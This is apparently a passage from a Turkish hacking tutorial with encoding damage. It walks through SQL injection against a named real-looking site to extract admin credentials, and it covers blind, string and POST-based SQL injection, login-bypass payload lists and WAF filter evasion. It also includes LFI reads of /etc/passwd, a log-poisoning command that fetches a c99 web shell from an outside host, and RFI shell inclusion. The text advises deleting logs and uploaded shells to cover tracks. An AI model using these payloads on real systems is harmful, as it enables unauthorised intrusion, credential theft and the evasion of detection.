13-Saldırı Anı7(İzlerimizi Silmek)

Evet sisteme girdikSite sistemi log(kayıt) tutuyor olabilirYani admin paneline girişimizi veya uploadettiğimiz dosyaları log tutuyor olabilirBurada sistemde işimizi bitirdikten sonra yapmamız gereken şeyupload ettiğimiz shell i ve logları silmekSilmez isek tehlike arz ediyor

14-Sonuccedil

Neler yaptık

Sisteme guumlvenlik accedilığı bulup admin şifresini ve kullanıcı adı adını ccedilekerek sisteme girişyaptıkShellimizi yuumlkledikPeki yapacaklarımız bunlarla mı sınırlı hayırServerdeki sitelere de girmeşansımız mevcutServer daki en uumlst duumlzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geccedilerekyani sistemde ROOT olarak server daki diğer sitelere giriş yapabilirizROOT İşlemli Linux veWINDOWS serverlarrsquoa goumlre değişkenlik goumlsteriyor

15- Kaccedil Tuumlr SQL İnjection Vardır

a-) MySql İnjection

Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız

SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut

Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım

Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı

Bu accedilığın kullanımına geccedilelim

Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam

Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22

Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun

Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş

Şimdi kolonları yansıtalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz

Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz

Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--

Sorgusunun ardından ekrana tablersquolar yansıdı

Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )

Şimdi admin tablosundaki kolonlara bakalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

Ekrana userpassmail yansıdığını farz edelim

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--

User admin

Pass 123456

Email adminparoswinescom

b-) Ms Access SQL İnjection

Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml

SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr

Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo

Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir

Microsoft JET Database Engine error rsquo80040e14rsquo

Syntax error in string in query expression rsquoid = 10rsquo

sayfaasp line 7

Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz

wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti

wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata

Microsoft JET Database Engine error rsquo80040e14rsquo

The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression

sayfaasp line 7

Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek

wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış

Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım

wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza

Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani

wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--

ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir

wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--

Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur

User mahserat

Pass bugres

c-) Blind SQL İnjection

Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz

Gene bir hedef site duumlşuumlnuumln

wwwsayfacomdosyaphpid=2 olsun

Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz

wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor

and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz

Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz

wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım

wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş

Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325

burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir

Şimdi user sutuumlnunu ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572

Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim

and substring((select user from users)11)=0x(tahmin edilen users)

and substring((select pass from users)21)=0x(tahmin edilen users)

Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz

Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir

d-) String SQL İnjection

Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani

wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor

wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz

wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim

wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok

wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil

wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor

Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi

wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )

Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr

Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox

Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde

Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Şeklinde Kadı ve Şifreyi ccedilektik

e-) SQL İnjection Login Bypass

SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım

Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl

SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere

adminrsquomdash

rsquo or 0=0 --

rsquo or rsquo 1=1

rsquo or rsquo 1

rsquo or rsquo

or 0=0 --

or 0=0 --

rsquo or 0=0

or 0=0

or 0=0

rsquo or rsquoxrsquo=rsquox

or x=x

rsquo) or (rsquoxrsquo=rsquox

rsquo or 1=1--

or 1=1--

or 1=1--

rsquo or a=a--

or a=a

rsquo) or (rsquoarsquo=rsquoa

) or (a=a

hi or a=a

hi or 1=1 --

hirsquo or 1=1 --

hirsquo or rsquoarsquo=rsquoa

hirsquo) or (rsquoarsquo=rsquoa

hi)or(a=a

Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz

lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım

Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz

Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu

f-) PostData SQL İnjection

Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl

Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan

ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz

Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza

Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz

ltform name=t1 method=POST action=loginaspxgt

Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır

Peki bu accedilığı nasıl kullanacağız

Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani

ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt

Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz

SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )

Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi

SQL İnjection Bypass

Merhaba arkadaşlar

Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur

SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir

a)

Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim

Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz

Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln

wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir

Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız

wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı

Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim

wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )

order+by+1mdashsonuna + koyduk

id=1 değerinin başına da ) koyduk

Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1orderby1--

wwwsayfamcomsayfaphpid=1+(order)+(by)+1--

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır

b)

Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim

Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim

wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık

wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız

wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip

Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız

wwwsayfamcomsayfaphpid=1+union+select+123456789--

yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım

Bir bypass da kullanabileceğimiz bazı karakter oluşumları

---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))

İlk olarak

wwwsayfamcomsayfaphpid=1+union+select+123456789--

deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))

wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)

wwwsayfamcomsayfaphpid=-1unionselect123456789--+

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -

wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+

wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--

wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--

şeklinde onlarca bypass teknikleri bulunmaktadır ))

c)

Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim

Şimdi sırada group_concat komutunun bypass edilmesinde

Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde

wwwsayfacomsayfaphpid=-1+union+select+123456789--

ne demiştiş 469 yansımıştı 4 den devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi

Group_concat bypass tipleride aynı mantıkla yapılır

group_concat()

grOUp_ConCat(user0x3epass)

group_concat(0x3c62723e)

şeklinde uygulamalar yapacağız

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

veya

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--

ve

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--

şeklinde bypasslar soumlz konusudur

d)

Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))

Taktiklerimiz aynıdır tekrar aynı site ile devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde yaptık bize tablo isimlerini vermedi

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum

e)

Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo

Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--

Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))

Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır

Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek

LFI(Local File İnclude)

1- Local File İnclude Nedir

LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim

2- Local File İnclude Mantığı Nedir

LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor

3- Saldırı Anı (Accedilığın Tespiti)

Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz

wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz

Bize verilen hatadan yola ccedilıkalım

Warning include() ldquohomeuserpublic_htmlsayfaphprdquo

Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz

4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)

Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık

Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım

home -gt 1

user -gt 2

public_html -gt 3

sayfaphp -gt 4

Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır

wwwsitecomsayfaphpid= etcpasswd şeklinde

-HTML Code

HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut

Komut etcpasswd

Encode 2F2F2F2Fetc2Fpasswd

Tekrar deneyelim

wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk

- CharCode

CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım

wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız

Komut etcpasswd

CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)

Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım

wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)

Şeklinde okudukDosyamız başarılı bir şekilde okundu )

5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)

Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza

Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor

wwwsitecomc99php şeklinde ccedilagırabilirsiniz

6- Local File İnclude Nerelerde Tespit Edilebilir

a-) Search kutusu

Bir Search kutusu duumlşuumlnuumln

Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde

Eğer ekrana

Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur

RFI(Remote File İnclude)1- Remote File İnclude Nedir

RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var

2- Remote File İnclude Mantığı Nedir

Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir

3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)

Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz

wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız

Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten

4- Remote File İnclude Nerelerde Tespit Edilebilir

a-Search kutusu

Bir Search (Arama) duumlşuumlnuumln

ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir

CSRFXSRF (Cross-Site RequestForgery)

1-Oumlnsoumlz

XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde

XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın

2- Cross Site Request Forgery Nedir

Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker

3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır

Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere

Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır

